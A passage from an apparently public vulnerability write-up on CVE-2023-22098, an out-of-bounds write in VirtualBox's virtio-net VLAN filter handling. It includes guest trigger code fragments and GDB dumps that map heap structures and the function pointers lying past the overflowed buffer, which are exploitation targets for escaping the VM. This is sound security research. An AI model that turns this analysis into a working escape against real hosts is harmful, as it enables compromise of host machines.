<span class="k">while</span> <span class="p">(</span><span class="o">!</span><span class="n">virtqueue_get_buf</span><span class="p">(</span><span class="n">dev</span><span class="o">-&gt;</span><span class="n">vqueues</span><span class="p">[</span><span class="mi">2</span><span class="p">],</span> <span class="o">&amp;</span><span class="n">len</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="o">!</span><span class="n">virtqueue_is_broken</span><span class="p">(</span><span class="n">dev</span><span class="o">-&gt;</span><span class="n">vqueues</span><span class="p">[</span><span class="mi">2</span><span class="p">]))</span>
<span class="p">{</span>
    <span class="n">cpu_relax</span><span class="p">();</span>
<span class="p">}</span>

<span class="p">[</span><span class="n">Truncated</span><span class="p">]</span>

</code></pre></div></div>

<p><em>Note: I added the <code class="language-plaintext highlighter-rouge">+4</code> to satisfy the check <code class="language-plaintext highlighter-rouge">cbRemaining &gt; sizeof(cVirtqPairs)</code>. Something strange is happening with
VBox, as it doesn’t seem to handle the size correctly.</em></p>

<p><img class="post-img" src="/assets/posts/cve-2023-22098/note_cbremaining.png" alt="cbRemaining" width="162" loading="lazy" /></p>

<p>If we set a breakpoint at <code class="language-plaintext highlighter-rouge">src/VBox/Devices/Network/DevVirtioNet.cpp:2536</code>, we can verify that the <code class="language-plaintext highlighter-rouge">uClass</code> has been
correctly set. Additionally, we can set another breakpoint at <code class="language-plaintext highlighter-rouge">src/VBox/Devices/Network/DevVirtioNet.cpp:2467</code> to check
that the value of <code class="language-plaintext highlighter-rouge">uVlanId</code> is as expected:</p>

<p><img class="post-img" src="/assets/posts/cve-2023-22098/gdb1.png" alt="uClass gdb" width="157" loading="lazy" /></p>

<p><img class="post-img" src="/assets/posts/cve-2023-22098/gdb2.png" alt="uVlanId gdb" width="150" loading="lazy" /></p>

<h3 id="identifying-structures-in-memory">Identifying structures in memory</h3>

<p>Alright, knowing that we have an out-of-bounds write, what can we modify? To figure this out, we are going to try to
identify the structures in memory, which will give us a much clearer understanding of our situation.</p>

<p>As we’ve already seen, the function <code class="language-plaintext highlighter-rouge">virtioNetR3CtrlVlan</code> attempts to modify <code class="language-plaintext highlighter-rouge">pThis-&gt;aVlanFilter</code>, which is of the
type <code class="language-plaintext highlighter-rouge">PVIRTIONET</code>:</p>

<p class="code-title">GDB</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">gef</span><span class="o">&gt;</span>  <span class="n">ptype</span> <span class="o">/</span><span class="n">o</span> <span class="n">pThis</span>
<span class="n">type</span> <span class="o">=</span> <span class="k">struct</span> <span class="nc">VIRTIONET</span> <span class="p">{</span>
<span class="cm">/*    0      |  2144 */</span>    <span class="n">VIRTIOCORE</span> <span class="n">Virtio</span><span class="p">;</span>
<span class="cm">/* 2144      |    10 */</span>    <span class="n">VIRTIONET_CONFIG_T</span> <span class="n">virtioNetConfig</span><span class="p">;</span>
<span class="cm">/* XXX  6-byte hole  */</span>
<span class="cm">/* 2160      |    48 */</span>    <span class="n">VIRTIONETWORKER</span> <span class="n">aWorkers</span><span class="p">[</span><span class="mi">3</span><span class="p">];</span>
<span class="cm">/* 2208      |   120 */</span>    <span class="n">VIRTIONETVIRTQ</span> <span class="n">aVirtqs</span><span class="p">[</span><span class="mi">3</span><span class="p">];</span>
<span class="cm">/* 2328      |    16 */</span>    <span class="kt">char</span> <span class="n">szInst</span><span class="p">[</span><span class="mi">16</span><span class="p">];</span>
<span class="cm">/* 2344      |     8 */</span>    <span class="kt">uint64_t</span> <span class="n">fNegotiatedFeatures</span><span class="p">;</span>
<span class="cm">/* 2352      |     2 */</span>    <span class="kt">uint16_t</span> <span class="n">cVirtqPairs</span><span class="p">;</span>
<span class="cm">/* 2354      |     2 */</span>    <span class="kt">uint16_t</span> <span class="n">cInitializedVirtqPairs</span><span class="p">;</span>
<span class="cm">/* 2356      |     2 */</span>    <span class="kt">uint16_t</span> <span class="n">cVirtqs</span><span class="p">;</span>
<span class="cm">/* 2358      |     2 */</span>    <span class="kt">uint16_t</span> <span class="n">cWorkers</span><span class="p">;</span>
<span class="cm">/* 2360      |     2 */</span>    <span class="kt">uint16_t</span> <span class="n">alignment</span><span class="p">;</span>
<span class="cm">/* XXX  2-byte hole  */</span>
<span class="cm">/* 2364      |     4 */</span>    <span class="kt">uint32_t</span> <span class="n">uIsTransmitting</span><span class="p">;</span>
<span class="cm">/* 2368      |     4 */</span>    <span class="kt">uint32_t</span> <span class="n">cMsLinkUpDelay</span><span class="p">;</span>
<span class="cm">/* 2372      |     4 */</span>    <span class="kt">uint32_t</span> <span class="n">cMulticastFilterMacs</span><span class="p">;</span>
<span class="cm">/* 2376      |     4 */</span>    <span class="kt">uint32_t</span> <span class="n">cUnicastFilterMacs</span><span class="p">;</span>
<span class="cm">/* XXX  4-byte hole  */</span>
<span class="cm">/* 2384      |     8 */</span>    <span class="n">SUPSEMEVENT</span> <span class="n">hEventRxDescAvail</span><span class="p">;</span>
<span class="cm">/* 2392      |   384 */</span>    <span class="n">RTMAC</span> <span class="n">aMacMulticastFilter</span><span class="p">[</span><span class="mi">64</span><span class="p">];</span>
<span class="cm">/* 2776      |   384 */</span>    <span class="n">RTMAC</span> <span class="n">aMacUnicastFilter</span><span class="p">[</span><span class="mi">64</span><span class="p">];</span>
<span class="cm">/* 3160      |     6 */</span>    <span class="n">RTMAC</span> <span class="n">rxFilterMacDefault</span><span class="p">;</span>
<span class="cm">/* 3166      |     6 */</span>    <span class="n">RTMAC</span> <span class="n">macConfigured</span><span class="p">;</span>
<span class="cm">/* 3172      |  4096 */</span>    <span class="kt">uint8_t</span> <span class="n">aVlanFilter</span><span class="p">[</span><span class="mi">4096</span><span class="p">];</span>
<span class="cm">/* 7268      |     1 */</span>    <span class="k">volatile</span> <span class="kt">bool</span> <span class="n">fLeafWantsEmptyRxBufs</span><span class="p">;</span>
<span class="cm">/* XXX  3-byte hole  */</span>
<span class="cm">/* 7272      |     4 */</span>    <span class="kt">uint32_t</span> <span class="n">uPktNo</span><span class="p">;</span>
<span class="cm">/* 7276      |     1 */</span>    <span class="kt">uint8_t</span> <span class="n">fVirtioReady</span><span class="p">;</span>
<span class="cm">/* 7277      |     1 */</span>    <span class="kt">uint8_t</span> <span class="n">fResetting</span><span class="p">;</span>
<span class="cm">/* 7278      |     1 */</span>    <span class="kt">uint8_t</span> <span class="n">fPromiscuous</span><span class="p">;</span>
<span class="cm">/* 7279      |     1 */</span>    <span class="kt">uint8_t</span> <span class="n">fAllMulticast</span><span class="p">;</span>
<span class="cm">/* 7280      |     1 */</span>    <span class="kt">uint8_t</span> <span class="n">fAllUnicast</span><span class="p">;</span>
<span class="cm">/* 7281      |     1 */</span>    <span class="kt">uint8_t</span> <span class="n">fNoMulticast</span><span class="p">;</span>
<span class="cm">/* 7282      |     1 */</span>    <span class="kt">uint8_t</span> <span class="n">fNoUnicast</span><span class="p">;</span>
<span class="cm">/* 7283      |     1 */</span>    <span class="kt">uint8_t</span> <span class="n">fNoBroadcast</span><span class="p">;</span>
<span class="cm">/* 7284      |     4 */</span>    <span class="n">VIRTIONETPKTHDRTYPE</span> <span class="n">ePktHdrType</span><span class="p">;</span>
<span class="cm">/* 7288      |     2 */</span>    <span class="kt">uint16_t</span> <span class="n">cbPktHdr</span><span class="p">;</span>
<span class="cm">/* 7290      |     1 */</span>    <span class="kt">bool</span> <span class="n">fCableConnected</span><span class="p">;</span>
<span class="cm">/* 7291      |     1 */</span>    <span class="kt">bool</span> <span class="n">fOfferLegacy</span><span class="p">;</span>
<span class="cm">/* XXX  4-byte hole  */</span>
<span class="cm">/* 7296      |     8 */</span>    <span class="n">STAMCOUNTER</span> <span class="n">StatReceiveBytes</span><span class="p">;</span>
<span class="cm">/* 7304      |     8 */</span>    <span class="n">STAMCOUNTER</span> <span class="n">StatTransmitBytes</span><span class="p">;</span>
<span class="cm">/* 7312      |     8 */</span>    <span class="n">STAMCOUNTER</span> <span class="n">StatReceiveGSO</span><span class="p">;</span>
<span class="cm">/* 7320      |     8 */</span>    <span class="n">STAMCOUNTER</span> <span class="n">StatTransmitPackets</span><span class="p">;</span>
<span class="cm">/* 7328      |     8 */</span>    <span class="n">STAMCOUNTER</span> <span class="n">StatTransmitGSO</span><span class="p">;</span>
<span class="cm">/* 7336      |     8 */</span>    <span class="n">STAMCOUNTER</span> <span class="n">StatTransmitCSum</span><span class="p">;</span>
<span class="cm">/* 7344      |    32 */</span>    <span class="n">STAMPROFILE</span> <span class="n">StatReceive</span><span class="p">;</span>
<span class="cm">/* 7376      |    32 */</span>    <span class="n">STAMPROFILE</span> <span class="n">StatReceiveStore</span><span class="p">;</span>
<span class="cm">/* 7408      |    40 */</span>    <span class="n">STAMPROFILEADV</span> <span class="n">StatTransmit</span><span class="p">;</span>
<span class="cm">/* 7448      |    32 */</span>    <span class="n">STAMPROFILE</span> <span class="n">StatTransmitSend</span><span class="p">;</span>
<span class="cm">/* 7480      |    32 */</span>    <span class="n">STAMPROFILE</span> <span class="n">StatRxOverflow</span><span class="p">;</span>
<span class="cm">/* 7512      |     8 */</span>    <span class="n">STAMCOUNTER</span> <span class="n">StatRxOverflowWakeup</span><span class="p">;</span>
<span class="cm">/* 7520      |     8 */</span>    <span class="n">STAMCOUNTER</span> <span class="n">StatTransmitByNetwork</span><span class="p">;</span>
<span class="cm">/* 7528      |     8 */</span>    <span class="n">STAMCOUNTER</span> <span class="n">StatTransmitByThread</span><span class="p">;</span>

                             <span class="cm">/* total size (bytes): 7536 */</span>
                         <span class="p">}</span> <span class="o">*</span>
</code></pre></div></div>

<p>After this structure, we can observe that the PPDMCRITSECT structure is located following 16 bytes of padding.</p>

<p class="code-title">GDB</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">gef</span><span class="o">&gt;</span>  <span class="n">x</span><span class="o">/</span><span class="mi">20</span><span class="n">gx</span> <span class="p">((</span><span class="kt">void</span><span class="o">*</span><span class="p">)</span><span class="n">pThis</span> <span class="o">+</span> <span class="mi">7536</span><span class="p">)</span>
<span class="mh">0x7fffb26b51b0</span><span class="o">:</span>	<span class="mh">0x0000000000000000</span>	<span class="mh">0x0000000000000000</span> <span class="o">==&gt;</span> <span class="n">padding</span>
<span class="mh">0x7fffb26b51c0</span><span class="o">:</span>	<span class="mh">0xffffffff19790326</span>	<span class="mh">0xffffffffffffffff</span>
<span class="mh">0x7fffb26b51d0</span><span class="o">:</span>	<span class="mh">0x0000000000000001</span>	<span class="mh">0x0000000000000033</span>
<span class="mh">0x7fffb26b51e0</span><span class="o">:</span>	<span class="mh">0x00007fff9c351d60</span>	<span class="mh">0x0000000000000000</span>
<span class="mh">0x7fffb26b51f0</span><span class="o">:</span>	<span class="mh">0x00007fff9158d5e8</span>	<span class="mh">0x00007fffb26b3000</span>
<span class="mh">0x7fffb26b5200</span><span class="o">:</span>	<span class="mh">0x0000000000000101</span>	<span class="mh">0x0000000000000000</span>
<span class="mh">0x7fffb26b5210</span><span class="o">:</span>	<span class="mh">0x00007fff9c34e720</span>	<span class="mh">0x00007fffb26b51c0</span>
<span class="mh">0x7fffb26b5220</span><span class="o">:</span>	<span class="mh">0x0000000000000000</span>	<span class="mh">0x0000000000000000</span>
<span class="mh">0x7fffb26b5230</span><span class="o">:</span>	<span class="mh">0x0000000000000000</span>	<span class="mh">0x0000000000000000</span>
<span class="mh">0x7fffb26b5240</span><span class="o">:</span>	<span class="mh">0x0000000000000000</span>	<span class="mh">0xffffffffffffffff</span>
</code></pre></div></div>

<p class="code-title">GDB</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">gef</span><span class="o">&gt;</span>  <span class="n">ptype</span> <span class="o">/</span><span class="n">o</span> <span class="o">*</span><span class="p">(</span><span class="n">PPDMCRITSECT</span><span class="p">)</span><span class="mh">0x7fffb26b51b0</span>
<span class="cm">/* offset    |  size */</span>  <span class="n">type</span> <span class="o">=</span> <span class="k">union</span> <span class="n">PDMCRITSECT</span> <span class="p">{</span>
<span class="cm">/*               256 */</span>    <span class="kt">uint8_t</span> <span class="n">padding</span><span class="p">[</span><span class="mi">256</span><span class="p">];</span>

                             <span class="cm">/* total size (bytes):  256 */</span>
                         <span class="p">}</span>
</code></pre></div></div>

<p>Later, we come across the <code class="language-plaintext highlighter-rouge">PDMPCIDEV</code> structure:</p>

<p class="code-title">GDB</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">gef</span><span class="o">&gt;</span>  <span class="n">x</span><span class="o">/</span><span class="mi">20</span><span class="n">gx</span> <span class="p">((</span><span class="kt">void</span><span class="o">*</span><span class="p">)</span><span class="n">pThis</span> <span class="o">+</span> <span class="mi">7536</span> <span class="o">+</span> <span class="mi">16</span> <span class="o">+</span> <span class="mi">256</span><span class="p">)</span>
<span class="mh">0x7fffb26b52c0</span><span class="o">:</span>	<span class="mh">0x0000001819391118</span>	<span class="mh">0x0000000090000100</span>
<span class="mh">0x7fffb26b52d0</span><span class="o">:</span>	<span class="mh">0x00007fffb07dc408</span>	<span class="mh">0x0000000000000000</span>
<span class="mh">0x7fffb26b52e0</span><span class="o">:</span>	<span class="mh">0x0000000000000000</span>	<span class="mh">0x0000000000000000</span>
<span class="mh">0x7fffb26b52f0</span><span class="o">:</span>	<span class="mh">0x0000000000000000</span>	<span class="mh">0x0000000000000000</span>
<span class="mh">0x7fffb26b5300</span><span class="o">:</span>	<span class="mh">0x00007fffb26b3000</span>	<span class="mh">0x0000010000000100</span>
<span class="mh">0x7fffb26b5310</span><span class="o">:</span>	<span class="mh">0x00007fffdc0002c0</span>	<span class="mh">0x00007fffb03a0df7</span>
<span class="mh">0x7fffb26b5320</span><span class="o">:</span>	<span class="mh">0x00007fffb03a10c8</span>	<span class="mh">0x0000000000000000</span>
<span class="mh">0x7fffb26b5330</span><span class="o">:</span>	<span class="mh">0x0000000000000000</span>	<span class="mh">0x0000000000000000</span>
<span class="mh">0x7fffb26b5340</span><span class="o">:</span>	<span class="mh">0x0000000000000000</span>	<span class="mh">0x0000000000000000</span>
<span class="mh">0x7fffb26b5350</span><span class="o">:</span>	<span class="mh">0xffffffffffffffff</span>	<span class="mh">0x0000000000000000</span>
</code></pre></div></div>

<p class="code-title">GDB</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">gef</span><span class="o">&gt;</span>   <span class="n">ptype</span> <span class="o">/</span><span class="n">o</span> <span class="o">*</span><span class="p">(</span><span class="n">PDMPCIDEV</span><span class="o">*</span><span class="p">)</span><span class="mh">0x7fffb26b52c0</span>
<span class="cm">/* offset    |  size */</span>  <span class="n">type</span> <span class="o">=</span> <span class="k">struct</span> <span class="nc">PDMPCIDEV</span> <span class="p">{</span>
<span class="cm">/*    0      |     4 */</span>    <span class="kt">uint32_t</span> <span class="n">u32Magic</span><span class="p">;</span>
<span class="cm">/*    4      |     4 */</span>    <span class="kt">uint32_t</span> <span class="n">uDevFn</span><span class="p">;</span>
<span class="cm">/*    8      |     2 */</span>    <span class="kt">uint16_t</span> <span class="n">cbConfig</span><span class="p">;</span>
<span class="cm">/*   10      |     2 */</span>    <span class="kt">uint16_t</span> <span class="n">cbMsixState</span><span class="p">;</span>
<span class="cm">/*   12      |     2 */</span>    <span class="kt">uint16_t</span> <span class="n">idxSubDev</span><span class="p">;</span>
<span class="cm">/*   14      |     2 */</span>    <span class="kt">uint16_t</span> <span class="n">u16Padding</span><span class="p">;</span>
<span class="cm">/*   16      |     8 */</span>    <span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">pszNameR3</span><span class="p">;</span>
<span class="cm">/*   24      |     8 */</span>    <span class="kt">int</span> <span class="p">(</span><span class="o">*</span><span class="n">pfnRegionLoadChangeHookR3</span><span class="p">)(</span><span class="n">PPDMDEVINS</span><span class="p">,</span> <span class="n">PPDMPCIDEV</span><span class="p">,</span> <span class="kt">uint32_t</span><span class="p">,</span> <span class="kt">uint64_t</span><span class="p">,</span> <span class="n">PCIADDRESSSPACE</span><span class="p">,</span> <span class="n">PFNPCIIOREGIONOLDSETTER</span><span class="p">,</span> <span class="n">PFNPCIIOREGIONSWAP</span><span class="p">);</span>
<span class="cm">/*   32      |    32 */</span>    <span class="kt">uint64_t</span> <span class="n">au64Reserved</span><span class="p">[</span><span class="mi">4</span><span class="p">];</span>
<span class="cm">/*   64      |   384 */</span>    <span class="k">union</span> <span class="p">{</span>
<span class="cm">/*               384 */</span>        <span class="kt">uint8_t</span> <span class="n">padding</span><span class="p">[</span><span class="mi">384</span><span class="p">];</span>
<span class="cm">/* XXX 320-byte padding  */</span>

                                 <span class="cm">/* total size (bytes):  384 */</span>
                             <span class="p">}</span> <span class="n">Int</span><span class="p">;</span>
<span class="cm">/*  448      |  4096 */</span>    <span class="kt">uint8_t</span> <span class="n">abConfig</span><span class="p">[</span><span class="mi">4096</span><span class="p">];</span>
<span class="cm">/* 4544      |     0 */</span>    <span class="kt">uint8_t</span> <span class="n">abMsixState</span><span class="p">[];</span>

                             <span class="cm">/* total size (bytes): 4544 */</span>
                         <span class="p">}</span>
</code></pre></div></div>

<p>If we examine the definition of this structure, we find the most important and key member <code class="language-plaintext highlighter-rouge">PDMPCIDEVINT s</code>, which
represents the internal data of the PDM PCI device:</p>

<p class="code-title">include/VBox/vmm/pdmpcidev.h</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">typedef</span> <span class="k">struct</span> <span class="n">PDMPCIDEV</span>
<span class="p">{</span>
    <span class="cm">/** @name Read only data.
     * @{
     */</span>
    <span class="cm">/** Magic number (PDMPCIDEV_MAGIC). */</span>
    <span class="kt">uint32_t</span>                <span class="n">u32Magic</span><span class="p">;</span>
    <span class="cm">/** PCI device number [11:3] and function [2:0] on the pci bus.
     * @sa VBOX_PCI_DEVFN_MAKE, VBOX_PCI_DEVFN_FUN_MASK, VBOX_PCI_DEVFN_DEV_SHIFT */</span>
    <span class="kt">uint32_t</span>                <span class="n">uDevFn</span><span class="p">;</span>

    <span class="p">[</span><span class="n">Truncated</span><span class="p">]</span>

    <span class="cm">/** Internal data. */</span>
    <span class="k">union</span>
    <span class="p">{</span>
<span class="cp">#ifdef PDMPCIDEVINT_DECLARED
</span>        <span class="n">PDMPCIDEVINT</span>        <span class="n">s</span><span class="p">;</span>
<span class="cp">#endif
</span>        <span class="kt">uint8_t</span>             <span class="n">padding</span><span class="p">[</span><span class="mh">0x180</span><span class="p">];</span>
    <span class="p">}</span> <span class="n">Int</span><span class="p">;</span>

    <span class="cm">/** PCI config space.
     * This is either 256 or 4096 in size.  In the latter case it may be
     * followed by a MSI-X state area. */</span>
    <span class="kt">uint8_t</span>                 <span class="n">abConfig</span><span class="p">[</span><span class="mi">4096</span><span class="p">];</span>
    <span class="cm">/** The MSI-X state data.  Optional. */</span>
    <span class="n">RT_FLEXIBLE_ARRAY_EXTENSION</span>
    <span class="kt">uint8_t</span>                 <span class="n">abMsixState</span><span class="p">[</span><span class="n">RT_FLEXIBLE_ARRAY</span><span class="p">];</span>
<span class="p">}</span> <span class="n">PDMPCIDEV</span><span class="p">;</span>
</code></pre></div></div>

<p>Let’s verify it:</p>

<p class="code-title">GDB</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">gef</span><span class="o">&gt;</span>  <span class="n">x</span><span class="o">/</span><span class="mi">20</span><span class="n">gx</span> <span class="p">((</span><span class="kt">void</span><span class="o">*</span><span class="p">)</span><span class="n">pThis</span> <span class="o">+</span> <span class="mi">7536</span> <span class="o">+</span> <span class="mi">16</span> <span class="o">+</span> <span class="mi">256</span> <span class="o">+</span> <span class="mi">64</span><span class="p">)</span>
<span class="mh">0x7fffb26b5300</span><span class="o">:</span>	<span class="mh">0x00007fffb26b3000</span>	<span class="mh">0x0000010000000100</span>
<span class="mh">0x7fffb26b5310</span><span class="o">:</span>	<span class="mh">0x00007fffdc0002c0</span>	<span class="mh">0x00007fffb03a0df7</span>
<span class="mh">0x7fffb26b5320</span><span class="o">:</span>	<span class="mh">0x00007fffb03a10c8</span>	<span class="mh">0x0000000000000000</span>
<span class="mh">0x7fffb26b5330</span><span class="o">:</span>	<span class="mh">0x0000000000000000</span>	<span class="mh">0x0000000000000000</span>
<span class="mh">0x7fffb26b5340</span><span class="o">:</span>	<span class="mh">0x0000000000000000</span>	<span class="mh">0x0000000000000000</span>
<span class="mh">0x7fffb26b5350</span><span class="o">:</span>	<span class="mh">0xffffffffffffffff</span>	<span class="mh">0x0000000000000000</span>
<span class="mh">0x7fffb26b5360</span><span class="o">:</span>	<span class="mh">0x000000000000d020</span>	<span class="mh">0x0000000000000020</span>
<span class="mh">0x7fffb26b5370</span><span class="o">:</span>	<span class="mh">0x000000000000003a</span>	<span class="mh">0x0000000100000005</span>
<span class="mh">0x7fffb26b5380</span><span class="o">:</span>	<span class="mh">0x0000000000000000</span>	<span class="mh">0x0000000000000000</span>
<span class="mh">0x7fffb26b5390</span><span class="o">:</span>	<span class="mh">0x0000000000000000</span>	<span class="mh">0x0000000000000000</span>
</code></pre></div></div>

<p class="code-title">GDB</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">gef</span><span class="o">&gt;</span>   <span class="n">p</span> <span class="o">*</span><span class="p">(</span><span class="n">PDMPCIDEVINT</span><span class="o">*</span><span class="p">)((</span><span class="kt">void</span><span class="o">*</span><span class="p">)</span><span class="n">pThis</span> <span class="o">+</span> <span class="mi">7536</span> <span class="o">+</span> <span class="mi">16</span> <span class="o">+</span> <span class="mi">256</span> <span class="o">+</span> <span class="mi">64</span><span class="p">)</span>
<span class="p">{</span>
    <span class="n">pDevInsR3</span> <span class="o">=</span> <span class="mh">0x7fffb26b3000</span><span class="p">,</span>
    <span class="n">idxDevCfg</span> <span class="o">=</span> <span class="mh">0x0</span><span class="p">,</span>
    <span class="n">fReassignableDevNo</span> <span class="o">=</span> <span class="mh">0x1</span><span class="p">,</span>
    <span class="n">fReassignableFunNo</span> <span class="o">=</span> <span class="mh">0x0</span><span class="p">,</span>
    <span class="n">bPadding0</span> <span class="o">=</span> <span class="mh">0x0</span><span class="p">,</span>
    <span class="n">idxPdmBus</span> <span class="o">=</span> <span class="mh">0x0</span><span class="p">,</span>
    <span class="n">fRegistered</span> <span class="o">=</span> <span class="mh">0x1</span><span class="p">,</span>
    <span class="n">idxSubDev</span> <span class="o">=</span> <span class="mh">0x0</span><span class="p">,</span>
    <span class="n">pBusR3</span> <span class="o">=</span> <span class="mh">0x7fffdc0002c0</span><span class="p">,</span>
    <span class="n">pfnConfigRead</span> <span class="o">=</span> <span class="mh">0x7fffb03a0df7</span> <span class="o">&lt;</span><span class="n">virtioR3PciConfigRead</span><span class="p">(</span><span class="n">PPDMDEVINS</span><span class="p">,</span> <span class="n">PPDMPCIDEV</span><span class="p">,</span> <span class="kt">uint32_t</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">int</span><span class="p">,</span> <span class="kt">uint32_t</span><span class="o">*</span><span class="p">)</span><span class="o">&gt;</span><span class="p">,</span>
    <span class="n">pfnConfigWrite</span> <span class="o">=</span> <span class="mh">0x7fffb03a10c8</span> <span class="o">&lt;</span><span class="n">virtioR3PciConfigWrite</span><span class="p">(</span><span class="n">PPDMDEVINS</span><span class="p">,</span> <span class="n">PPDMPCIDEV</span><span class="p">,</span> <span class="kt">uint32_t</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">int</span><span class="p">,</span> <span class="kt">uint32_t</span><span class="p">)</span><span class="o">&gt;</span><span class="p">,</span>
    <span class="n">pfnBridgeConfigRead</span> <span class="o">=</span> <span class="mh">0x0</span><span class="p">,</span>
    <span class="n">pfnBridgeConfigWrite</span> <span class="o">=</span> <span class="mh">0x0</span><span class="p">,</span>
    <span class="n">fFlags</span> <span class="o">=</span> <span class="mh">0x0</span><span class="p">,</span>
    <span class="n">uIrqPinState</span> <span class="o">=</span> <span class="mh">0x0</span><span class="p">,</span>
    <span class="n">u8MsiCapOffset</span> <span class="o">=</span> <span class="mh">0x0</span><span class="p">,</span>
    <span class="n">u8MsiCapSize</span> <span class="o">=</span> <span class="mh">0x0</span><span class="p">,</span>
    <span class="n">u8MsixCapOffset</span> <span class="o">=</span> <span class="mh">0x0</span><span class="p">,</span>
    <span class="n">u8MsixCapSize</span> <span class="o">=</span> <span class="mh">0x0</span><span class="p">,</span>
    <span class="n">cbMsixRegion</span> <span class="o">=</span> <span class="mh">0x0</span><span class="p">,</span>
    <span class="n">offMsixPba</span> <span class="o">=</span> <span class="mh">0x0</span><span class="p">,</span>
    <span class="n">abPadding2</span> <span class="o">=</span> <span class="s">"</span><span class="se">\000\000\000\000\000\000\000</span><span class="s">"</span><span class="p">,</span>
    <span class="n">hMmioMsix</span> <span class="o">=</span> <span class="mh">0xffffffffffffffff</span><span class="p">,</span>
    <span class="n">pvPciBusPtrR3</span> <span class="o">=</span> <span class="mh">0x0</span><span class="p">,</span>

    <span class="p">[</span><span class="n">Truncated</span><span class="p">]</span>

</code></pre></div></div>

<p>In fact, by inspecting <code class="language-plaintext highlighter-rouge">PPDMDEVINSR3 pDevInsR3</code>, we can confirm that the <code class="language-plaintext highlighter-rouge">apPciDevs[0]</code> member points to the <code class="language-plaintext highlighter-rouge">PDMPCIDEV</code>
structure we had identified earlier:</p>

<p class="code-title">GDB</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">gef</span><span class="o">&gt;</span>   <span class="n">p</span> <span class="o">*</span><span class="p">(</span><span class="n">PDMDEVINSR3</span><span class="o">*</span><span class="p">)</span><span class="mh">0x7fffb26b3000</span>
<span class="p">{</span>
    <span class="n">u32Version</span> <span class="o">=</span> <span class="mh">0xff820040</span><span class="p">,</span>
    <span class="n">iInstance</span> <span class="o">=</span> <span class="mh">0x0</span><span class="p">,</span>
    <span class="n">cbRing3</span> <span class="o">=</span> <span class="mh">0xd000</span><span class="p">,</span>
    <span class="n">fR0Enabled</span> <span class="o">=</span> <span class="mh">0x1</span><span class="p">,</span>
    <span class="n">fRCEnabled</span> <span class="o">=</span> <span class="mh">0x0</span><span class="p">,</span>
    <span class="n">afReserved</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x0</span><span class="p">,</span> <span class="mh">0x0</span><span class="p">},</span>
    <span class="n">pHlpR3</span> <span class="o">=</span> <span class="mh">0x7fffd103ab20</span> <span class="o">&lt;</span><span class="n">g_pdmR3DevHlpTrusted</span><span class="o">&gt;</span><span class="p">,</span>
    <span class="n">pvInstanceDataR3</span> <span class="o">=</span> <span class="mh">0x7fffb26b3440</span><span class="p">,</span>
    <span class="n">pvInstanceDataForR3</span> <span class="o">=</span> <span class="mh">0x7fffb26b3180</span><span class="p">,</span>
    <span class="n">pCritSectRoR3</span> <span class="o">=</span> <span class="mh">0x7fffb26b51c0</span><span class="p">,</span>
    <span class="n">pReg</span> <span class="o">=</span> <span class="mh">0x7fffb07dc400</span> <span class="o">&lt;</span><span class="n">g_DeviceVirtioNet</span><span class="o">&gt;</span><span class="p">,</span>
    <span class="n">pCfg</span> <span class="o">=</span> <span class="mh">0x7fff9c00dff0</span><span class="p">,</span>
    <span class="n">IBase</span> <span class="o">=</span> <span class="p">{</span>
    <span class="n">pfnQueryInterface</span> <span class="o">=</span> <span class="mh">0x0</span>
    <span class="p">},</span>
    <span class="n">fTracing</span> <span class="o">=</span> <span class="mh">0x0</span><span class="p">,</span>
    <span class="n">idTracing</span> <span class="o">=</span> <span class="mh">0x10</span><span class="p">,</span>
    <span class="n">pDevInsForRCR3</span> <span class="o">=</span> <span class="mh">0x7fffb26b3400</span><span class="p">,</span>
    <span class="n">pDevInsForRC</span> <span class="o">=</span> <span class="mh">0x0</span><span class="p">,</span>
    <span class="n">pvInstanceDataForRCR3</span> <span class="o">=</span> <span class="mh">0x0</span><span class="p">,</span>
    <span class="n">cbPciDev</span> <span class="o">=</span> <span class="mh">0xa1c0</span><span class="p">,</span>
    <span class="n">cPciDevs</span> <span class="o">=</span> <span class="mh">0x1</span><span class="p">,</span>
    <span class="n">apPciDevs</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x7fffb26b52c0</span><span class="p">,</span> <span class="mh">0x0</span><span class="p">,</span> <span class="mh">0x0</span><span class="p">,</span> <span class="mh">0x0</span><span class="p">,</span> <span class="mh">0x0</span><span class="p">,</span> <span class="mh">0x0</span><span class="p">,</span> <span class="mh">0x0</span><span class="p">,</span> <span class="mh">0x0</span><span class="p">},</span>
    <span class="n">pDevInsR0RemoveMe</span> <span class="o">=</span> <span class="mh">0xffffa26e050f5000</span><span class="p">,</span>
    <span class="n">pvInstanceDataR0</span> <span class="o">=</span> <span class="mh">0xffffa26e050f6440</span><span class="p">,</span>
    <span class="n">pvInstanceDataRC</span> <span class="o">=</span> <span class="mh">0x0</span><span class="p">,</span>
    <span class="n">au32Padding</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x0</span> <span class="o">&lt;</span><span class="n">repeats</span> <span class="mi">11</span> <span class="n">times</span><span class="o">&gt;</span><span class="p">},</span>
    <span class="n">Internal</span> <span class="o">=</span> <span class="p">{</span>
